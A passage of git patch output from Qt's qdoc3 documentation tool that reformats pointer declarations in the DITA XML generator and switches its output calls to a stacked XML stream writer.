if ((*c)->type() == Node::Function) { const FunctionNode* func = static_cast(*c); @@ -3682,7 +3702,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode* node) } } -void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node) +void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3696,7 +3716,7 @@ void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node) } } -void DitaXmlGenerator::findAllNamespaces(const InnerNode *node) +void DitaXmlGenerator::findAllNamespaces(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3724,7 +3744,7 @@ void DitaXmlGenerator::findAllNamespaces(const InnerNode *node) } } -int DitaXmlGenerator::hOffset(const Node *node) +int DitaXmlGenerator::hOffset(const Node* node) { switch (node->type()) { case Node::Namespace: @@ -3741,7 +3761,7 @@ int DitaXmlGenerator::hOffset(const Node *node) } } -bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom) +bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom* atom) { while (atom != 0 && !(atom->type() == Atom::ListRight && atom->string() == ATOM_LIST_VALUE)) { if (atom->type() == Atom::ListItemLeft && !matchAhead(atom, Atom::ListItemRight)) @@ -3751,12 +3771,12 @@ bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom) return false; } -const Node *DitaXmlGenerator::findNodeForTarget(const QString &target, - const Node *relative, - CodeMarker *marker, - const Atom *atom) +const Node* DitaXmlGenerator::findNodeForTarget(const QString& target, + const Node* relative, + CodeMarker* marker, + const Atom* atom) { - const Node *node = 0; + const Node* node = 0; if (target.isEmpty()) { node = relative; @@ -3780,7 +3800,7 @@ const Node *DitaXmlGenerator::findNodeForTarget(const QString &target, return node; } -const QPair DitaXmlGenerator::anchorForNode(const Node *node) +const QPair DitaXmlGenerator::anchorForNode(const Node* node) { QPair anchorPair; @@ -3793,10 +3813,10 @@ const QPair DitaXmlGenerator::anchorForNode(const Node *node) return anchorPair; } -QString DitaXmlGenerator::getLink(const Atom *atom, - const Node *relative, - CodeMarker *marker, - const Node** node) +QString DitaXmlGenerator::getLink(const Atom* atom, + const Node* relative, + CodeMarker* marker, + const Node** node) { QString link; *node = 0; @@ -3897,14 +3917,14 @@ QString DitaXmlGenerator::getLink(const Atom *atom, return link; } -void DitaXmlGenerator::generateIndex(const QString &fileBase, - const QString &url, - const QString &title) +void DitaXmlGenerator::generateIndex(const QString& fileBase, + const QString& url, + const QString& title) { myTree->generateIndex(outputDir() + "/" + fileBase + ".index", url, title); } -void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) +void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) { Text text; @@ -3953,10 +3973,10 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) } } -void DitaXmlGenerator::beginLink(const QString &link, - const Node *node, - const Node *relative, - CodeMarker *marker) +void DitaXmlGenerator::beginLink(const QString& link, + const Node* node, + const Node* relative, + CodeMarker* marker) { Q_UNUSED(marker) Q_UNUSED(relative) @@ -4018,8 +4038,8 @@ void DitaXmlGenerator::endLink() Currently handles only the QML property group. */ void DitaXmlGenerator::generateQmlSummary(const Section& section, - const Node *relative, - CodeMarker *marker) + const Node* relative, + CodeMarker* marker) { if (!section.members.isEmpty()) { NodeList::ConstIterator m; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index fe7a434..dad1c6f 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -91,28 +91,29 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree* tree, CodeMarker* marker); - QString protectEnc(const QString &string); - static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); + QString protectEnc(const QString& string); + static QString protect(const QString& string, const QString& encoding = "ISO-8859-1"); static QString cleanRef(const QString& ref); static QString sinceTitle(int i) { return sinceTitles[i]; } protected: - virtual void startText(const Node *relative, CodeMarker *marker); - virtual int generateAtom(const Atom *atom, - const Node *relative, - CodeMarker *marker); - virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker); - virtual QString fileExtension(const Node *node) const; - virtual QString refForNode(const Node *node); - virtual QString linkForNode(const Node *node, const Node *relative); - virtual QString refForAtom(Atom *atom, const Node *node); + virtual void startText(const Node* relative, CodeMarker* marker); + virtual int generateAtom(const Atom* atom, + const Node* relative, + CodeMarker* marker); + virtual void generateClassLikeNode(const InnerNode* inner, CodeMarker* marker); + virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker); + virtual QString fileExtension(const Node* node) const; + virtual QString refForNode(const Node* node); + virtual QString linkForNode(const Node* node, const Node* relative); + virtual QString refForAtom(Atom* atom, const Node* node); void writeTargetAndHeader(const QString& target, const QString& header, const QString& attribute); + void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); void writeDerivations(const ClassNode* cn, CodeMarker* marker); @@ -141,63 +142,63 @@ class DitaXmlGenerator : public PageGenerator private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; - const QPair anchorForNode(const Node *node); - const Node *findNodeForTarget(const QString &target, - const Node *relative, - CodeMarker *marker, - const Atom *atom = 0); + const QPair anchorForNode(const Node* node); + const Node* findNodeForTarget(const QString& target, + const Node* relative, + CodeMarker* marker, + const Atom* atom = 0); void generateBreadCrumbs(const QString& title, - const Node *node, - CodeMarker *marker); + const Node* node, + CodeMarker* marker); void generateHeader(const Node* node); void generateTitle(const QString& title, - const Text &subTitle, + const Text& subTitle, SubTitleSize subTitleSize, - const Node *relative, - CodeMarker *marker); + const Node* relative, + CodeMarker* marker); void generateBrief(const Node* node, CodeMarker* marker); - void generateIncludes(const InnerNode *inner, CodeMarker *marker); - void generateTableOfContents(const Node *node, - CodeMarker *marker, + void generateIncludes(const InnerNode* inner, CodeMarker* marker); + void generateTableOfContents(const Node* node, + CodeMarker* marker, Doc::SectioningUnit sectioningUnit, int numColumns, - const Node *relative = 0); - void generateTableOfContents(const Node *node, - CodeMarker *marker, + const Node* relative = 0); + void generateTableOfContents(const Node* node, + CodeMarker* marker, QList
    * sections = 0); - QString generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker); - QString generateLowStatusMemberFile(const InnerNode *inner, - CodeMarker *marker, + QString generateListOfAllMemberFile(const InnerNode* inner, CodeMarker* marker); + QString generateLowStatusMemberFile(const InnerNode* inner, + CodeMarker* marker, CodeMarker::Status status); - void generateClassHierarchy(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap); - void generateAnnotatedList(const Node *relative, - CodeMarker *marker, - const NodeMap &nodeMap); - void generateCompactList(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap, + void generateClassHierarchy(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap); + void generateAnnotatedList(const Node* relative, + CodeMarker* marker, + const NodeMap& nodeMap); + void generateCompactList(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap, bool includeAlphabet, QString commonPrefix = QString()); - void generateFunctionIndex(const Node *relative, CodeMarker *marker); - void generateLegaleseList(const Node *relative, CodeMarker *marker); - void generateOverviewList(const Node *relative, CodeMarker *marker); + void generateFunctionIndex(const Node* relative, CodeMarker* marker); + void generateLegaleseList(const Node* relative, CodeMarker* marker); + void generateOverviewList(const Node* relative, CodeMarker* marker); void generateSectionList(const Section& section, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); #ifdef QDOC_QML void generateQmlSummary(const Section& section, - const Node *relative, - CodeMarker *marker); - void generateQmlItem(const Node *node, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker); + void generateQmlItem(const Node* node, + const Node* relative, + CodeMarker* marker, bool summary); - void generateDetailedQmlMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker); + void generateDetailedQmlMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker); void generateQmlInherits(const QmlClassNode* cn, CodeMarker* marker); void generateQmlInheritedBy(const QmlClassNode* cn, CodeMarker* marker); void generateQmlInstantiates(const QmlClassNode* qcn, CodeMarker* marker); @@ -205,61 +206,61 @@ class DitaXmlGenerator : public PageGenerator #endif void generateSection(const NodeList& nl, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); - QString getMarkedUpSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, + QString getMarkedUpSynopsis(const Node* node, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, bool nameAlignment = false); void writeText(const QString& markedCode, - CodeMarker *marker, - const Node *relative, + CodeMarker* marker, + const Node* relative, bool nameAlignment = false); - void generateFullName(const Node *apparentNode, - const Node *relative, - CodeMarker *marker, - const Node *actualNode = 0); - void generateDetailedMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker); - void generateLink(const Atom *atom, - const Node *relative, - CodeMarker *marker); - void generateStatus(const Node *node, CodeMarker *marker); + void generateFullName(const Node* apparentNode, + const Node* relative, + CodeMarker* marker, + const Node* actualNode = 0); + void generateDetailedMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker); + void generateLink(const Atom* atom, + const Node* relative, + CodeMarker* marker); + void generateStatus(const Node* node, CodeMarker* marker); QString registerRef(const QString& ref); - QString fileBase(const Node *node); + QString fileBase(const Node* node); #if 0 - QString fileBase(const Node *node, const SectionIterator& section); + QString fileBase(const Node* node, const SectionIterator& section); #endif - QString fileName(const Node *node); - void findAllClasses(const InnerNode *node); - void findAllFunctions(const InnerNode *node); - void findAllLegaleseTexts(const InnerNode *node); - void findAllNamespaces(const InnerNode *node); - void findAllSince(const InnerNode *node); - static int hOffset(const Node *node); - static bool isThreeColumnEnumValueTable(const Atom *atom); - virtual QString getLink(const Atom *atom, - const Node *relative, - CodeMarker *marker, + QString fileName(const Node* node); + void findAllClasses(const InnerNode* node); + void findAllFunctions(const InnerNode* node); + void findAllLegaleseTexts(const InnerNode* node); + void findAllNamespaces(const InnerNode* node); + void findAllSince(const InnerNode* node); + static int hOffset(const Node* node); + static bool isThreeColumnEnumValueTable(const Atom* atom); + virtual QString getLink(const Atom* atom, + const Node* relative, + CodeMarker* marker, const Node** node); - virtual void generateIndex(const QString &fileBase, - const QString &url, - const QString &title); + virtual void generateIndex(const QString& fileBase, + const QString& url, + const QString& title); #ifdef GENERATE_MAC_REFS - void generateMacRef(const Node *node, CodeMarker *marker); + void generateMacRef(const Node* node, CodeMarker* marker); #endif - void beginLink(const QString &link, - const Node *node, - const Node *relative, - CodeMarker *marker); + void beginLink(const QString& link, + const Node* node, + const Node* relative, + CodeMarker* marker); void endLink(); bool generatePageElement(QXmlStreamWriter& writer, const Node* node, @@ -300,7 +301,7 @@ class DitaXmlGenerator : public PageGenerator QString navigationLinks; QStringList stylesheets; QStringList customHeadElements; - const Tree *myTree; + const Tree* myTree; bool slow; bool obsoleteLinks; int noLinks; @@ -317,7 +318,7 @@ class DitaXmlGenerator : public PageGenerator NodeMap qmlClasses; #endif QMap funcIndex; - QMap legaleseTexts; + QMap legaleseTexts; NewSinceMaps newSinceMaps; static QString sinceTitles[]; NewClassMaps newClassMaps; diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index eee998a..5bd5156 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -860,7 +860,11 @@ QMap& Generator::formattingRightMap() return fmtRightMaps[format()]; } -QString Generator::trimmedTrailing(const QString &string) +/* + Trims trailimng whitespace off the \a string and returns + the trimmed string. + */ +QString Generator::trimmedTrailing(const QString& string) { QString trimmed = string; while (trimmed.length() > 0 && trimmed[trimmed.length() - 1].isSpace()) -- cgit v0.12 From 0770668614e8445cb452ccbc50543eede5fed2d1 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Sep 2010 14:43:42 +0200 Subject: qdoc: Implemented stacking of XML stream writers. --- tools/qdoc3/ditaxmlgenerator.cpp | 1893 ++++++++++++++++++-------------------- tools/qdoc3/ditaxmlgenerator.h | 24 +- tools/qdoc3/pagegenerator.h | 18 +- 3 files changed, 886 insertions(+), 1049 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 1ff9592..f572cc7 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -508,7 +508,7 @@ QString DitaXmlGenerator::format() QString DitaXmlGenerator::writeGuidAttribute(QString text) { QString guid = lookupGuid(text); - writer.writeAttribute("id",guid); + xmlWriter().writeAttribute("id",guid); return guid; } @@ -595,11 +595,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } break; case Atom::BaseName: @@ -609,7 +609,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - writer.writeStartElement(SHORTDESC); + xmlWriter().writeStartElement(SHORTDESC); if (relative->type() == Node::Property || relative->type() == Node::Variable) { QString str; @@ -624,94 +624,94 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, str[0] = str[0].toLower(); if (str.right(1) == ".") str.truncate(str.length() - 1); - writer.writeCharacters("This "); + xmlWriter().writeCharacters("This "); if (relative->type() == Node::Property) - writer.writeCharacters("property"); + xmlWriter().writeCharacters("property"); else - writer.writeCharacters("variable"); + xmlWriter().writeCharacters("variable"); QStringList words = str.split(" "); if (!(words.first() == "contains" || words.first() == "specifies" || words.first() == "describes" || words.first() == "defines" || words.first() == "holds" || words.first() == "determines")) - writer.writeCharacters(" holds "); + xmlWriter().writeCharacters(" holds "); else - writer.writeCharacters(" "); - writer.writeCharacters(str + "."); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(str + "."); } break; case Atom::BriefRight: if (relative->type() != Node::Fake) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::C: - writer.writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); + xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); if (inLink) { - writer.writeCharacters(protectEnc(plainCode(atom->string()))); + xmlWriter().writeCharacters(protectEnc(plainCode(atom->string()))); } else { writeText(atom->string(), marker, relative); } - writer.writeEndElement(); // sse writeStartElement() above + xmlWriter().writeEndElement(); // sse writeStartElement() above break; case Atom::Code: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(trimmedTrailing(atom->string()), marker, relative); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::Qml: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(trimmedTrailing(atom->string()), marker, relative); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeNew: - writer.writeStartElement("p"); - writer.writeCharacters("you can rewrite it as"); - writer.writeEndElement(); //

    - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("you can rewrite it as"); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(trimmedTrailing(atom->string()), marker, relative); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeOld: - writer.writeStartElement("p"); - writer.writeCharacters("For example, if you have code like"); - writer.writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("For example, if you have code like"); + xmlWriter().writeEndElement(); //

    // fallthrough case Atom::CodeBad: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); - writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); - writer.writeEndElement(); // + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); + xmlWriter().writeEndElement(); // break; case Atom::FootnoteLeft: // ### For now if (in_para) { - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    in_para = false; } - writer.writeCharacters(""); + xmlWriter().writeCharacters("-->"); break; case Atom::FormatElse: case Atom::FormatEndif: case Atom::FormatIf: break; case Atom::FormattingLeft: - writer.writeStartElement(formattingLeftMap()[atom->string()]); + xmlWriter().writeStartElement(formattingLeftMap()[atom->string()]); if (atom->string() == ATOM_FORMATTING_PARAMETER) { if (atom->next() != 0 && atom->next()->type() == Atom::String) { QRegExp subscriptRegExp("([a-z]+)_([0-9n])"); if (subscriptRegExp.exactMatch(atom->next()->string())) { - writer.writeCharacters(subscriptRegExp.cap(1)); - writer.writeStartElement("sub"); - writer.writeCharacters(subscriptRegExp.cap(2)); - writer.writeEndElement(); // + xmlWriter().writeCharacters(subscriptRegExp.cap(1)); + xmlWriter().writeStartElement("sub"); + xmlWriter().writeCharacters(subscriptRegExp.cap(2)); + xmlWriter().writeEndElement(); // skipAhead = 1; } } @@ -722,7 +722,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - writer.writeEndElement(); // ? + xmlWriter().writeEndElement(); // ? } break; case Atom::AnnotatedList: @@ -924,7 +924,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, /* First generate the table of contents. */ - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { @@ -933,17 +933,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } ++s; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // int idx = 0; s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle((*s).name)); - writer.writeAttribute("outputclass","h3"); - writer.writeCharacters(protectEnc((*s).name)); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); //

    if (idx == Class) generateCompactList(0, marker, ncmap.value(), false, QString("Q")); else if (idx == QmlClass) @@ -963,23 +963,24 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, pmap = parentmaps.begin(); while (pmap != parentmaps.end()) { NodeList nlist = pmap->values(); - writer.writeStartElement("p"); - writer.writeCharacters("Class "); - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(pmap.key(), 0)); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Class "); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0)); QStringList pieces = fullName(pmap.key(), 0, marker).split("::"); - writer.writeCharacters(protectEnc(pieces.last())); - writer.writeEndElement(); // - writer.writeCharacters(":"); - writer.writeEndElement(); //

    + xmlWriter().writeCharacters(protectEnc(pieces.last())); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters(":"); + xmlWriter().writeEndElement(); //

    generateSection(nlist, 0, marker, CodeMarker::Summary); - writer.writeEmptyElement("br"); + xmlWriter().writeEmptyElement("br"); ++pmap; } } - else + else { generateSection(s->members, 0, marker, CodeMarker::Summary); + } } ++idx; ++s; @@ -995,39 +996,39 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (atom->type() == Atom::Image) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); } if (fileName.isEmpty()) { - writer.writeStartElement("font"); - writer.writeAttribute("color","red"); - writer.writeCharacters("[Missing image: "); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("font"); + xmlWriter().writeAttribute("color","red"); + xmlWriter().writeCharacters("[Missing image: "); + xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // } else { - writer.writeStartElement("img"); - writer.writeAttribute("src",protectEnc(fileName)); + xmlWriter().writeStartElement("img"); + xmlWriter().writeAttribute("src",protectEnc(fileName)); if (!text.isEmpty()) - writer.writeAttribute("alt",protectEnc(text)); - writer.writeEndElement(); // + xmlWriter().writeAttribute("alt",protectEnc(text)); + xmlWriter().writeEndElement(); // } if (atom->type() == Atom::Image) - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    } break; case Atom::ImageText: // nothing break; case Atom::LegaleseLeft: - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","legalese"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","legalese"); break; case Atom::LegaleseRight: - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    break; case Atom::LineBreak: - writer.writeEmptyElement("br"); + xmlWriter().writeEmptyElement("br"); break; case Atom::Link: { @@ -1051,64 +1052,64 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ListLeft: if (in_para) { - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    in_para = false; } if (atom->string() == ATOM_LIST_BULLET) { - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); } else if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dl"); + xmlWriter().writeStartElement("dl"); } else if (atom->string() == ATOM_LIST_VALUE) { threeColumnEnumValueTable = isThreeColumnEnumValueTable(atom); if (threeColumnEnumValueTable) { - writer.writeStartElement("simpletable"); - writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("sthead"); + xmlWriter().writeStartElement("simpletable"); + xmlWriter().writeAttribute("outputclass","valuelist"); + xmlWriter().writeStartElement("sthead"); if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","odd"); + xmlWriter().writeAttribute("outputclass","odd"); else - writer.writeAttribute("outputclass","even"); - writer.writeStartElement("stentry"); - writer.writeCharacters("Constant"); - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeCharacters("Value"); - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeCharacters("Description"); - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeAttribute("outputclass","even"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Constant"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Value"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Description"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeStartElement("simpletable"); - writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("sthead"); - writer.writeStartElement("stentry"); - writer.writeCharacters("Constant"); - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeCharacters("Value"); - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeStartElement("simpletable"); + xmlWriter().writeAttribute("outputclass","valuelist"); + xmlWriter().writeStartElement("sthead"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Constant"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Value"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } else { - writer.writeStartElement("ol"); + xmlWriter().writeStartElement("ol"); if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("outputclass","upperalpha"); + xmlWriter().writeAttribute("outputclass","upperalpha"); else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("outputclass","loweralpha"); + xmlWriter().writeAttribute("outputclass","loweralpha"); else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("outputclass","upperroman"); + xmlWriter().writeAttribute("outputclass","upperroman"); else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("outputclass","lowerroman"); + xmlWriter().writeAttribute("outputclass","lowerroman"); else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("outputclass","numeric"); + xmlWriter().writeAttribute("outputclass","numeric"); if (atom->next() != 0 && atom->next()->string().toInt() != 1) { // I don't think this attribute is supported. - writer.writeAttribute("start",atom->next()->string()); + xmlWriter().writeAttribute("start",atom->next()->string()); } } break; @@ -1117,19 +1118,19 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ListTagLeft: if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dt"); + xmlWriter().writeStartElement("dt"); } else { // (atom->string() == ATOM_LIST_VALUE) - writer.writeStartElement("strow"); - writer.writeStartElement("stentry"); - writer.writeAttribute("outputclass","topAlign"); - writer.writeStartElement("tt"); - writer.writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), + xmlWriter().writeStartElement("strow"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("tt"); + xmlWriter().writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), relative)))); - writer.writeEndElement(); //
    - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeAttribute("outputclass","topAlign"); QString itemValue; if (relative->type() == Node::Enum) { @@ -1138,105 +1139,105 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (itemValue.isEmpty()) - writer.writeCharacters("?"); + xmlWriter().writeCharacters("?"); else { - writer.writeStartElement("tt"); - writer.writeCharacters(protectEnc(itemValue)); - writer.writeEndElement(); // + xmlWriter().writeStartElement("tt"); + xmlWriter().writeCharacters(protectEnc(itemValue)); + xmlWriter().writeEndElement(); // } skipAhead = 1; } break; case Atom::ListTagRight: if (atom->string() == ATOM_LIST_TAG) - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::ListItemLeft: if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dd"); + xmlWriter().writeStartElement("dd"); } else if (atom->string() == ATOM_LIST_VALUE) { if (threeColumnEnumValueTable) { - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeAttribute("outputclass","topAlign"); if (matchAhead(atom, Atom::ListItemRight)) - writer.writeCharacters(" "); + xmlWriter().writeCharacters(" "); } } else { - writer.writeStartElement("li"); + xmlWriter().writeStartElement("li"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; break; case Atom::ListItemRight: if (atom->string() == ATOM_LIST_TAG) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::ListRight: if (atom->string() == ATOM_LIST_BULLET) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (atom->string() == ATOM_LIST_TAG) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::Nop: // nothing break; case Atom::ParaLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); in_para = true; break; case Atom::ParaRight: endLink(); if (in_para) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::RawString: - writer.writeCharacters(atom->string()); + xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); + xmlWriter().writeEndElement(); //

    break; case Atom::SectionRight: // nothing break; case Atom::SectionHeadingLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); hx = "h" + QString::number(atom->string().toInt() + hOffset(relative)); - writer.writeAttribute("outputclass",hx); + xmlWriter().writeAttribute("outputclass",hx); inSectionHeading = true; break; case Atom::SectionHeadingRight: - writer.writeEndElement(); //

    (see case Atom::SectionHeadingLeft) + xmlWriter().writeEndElement(); //

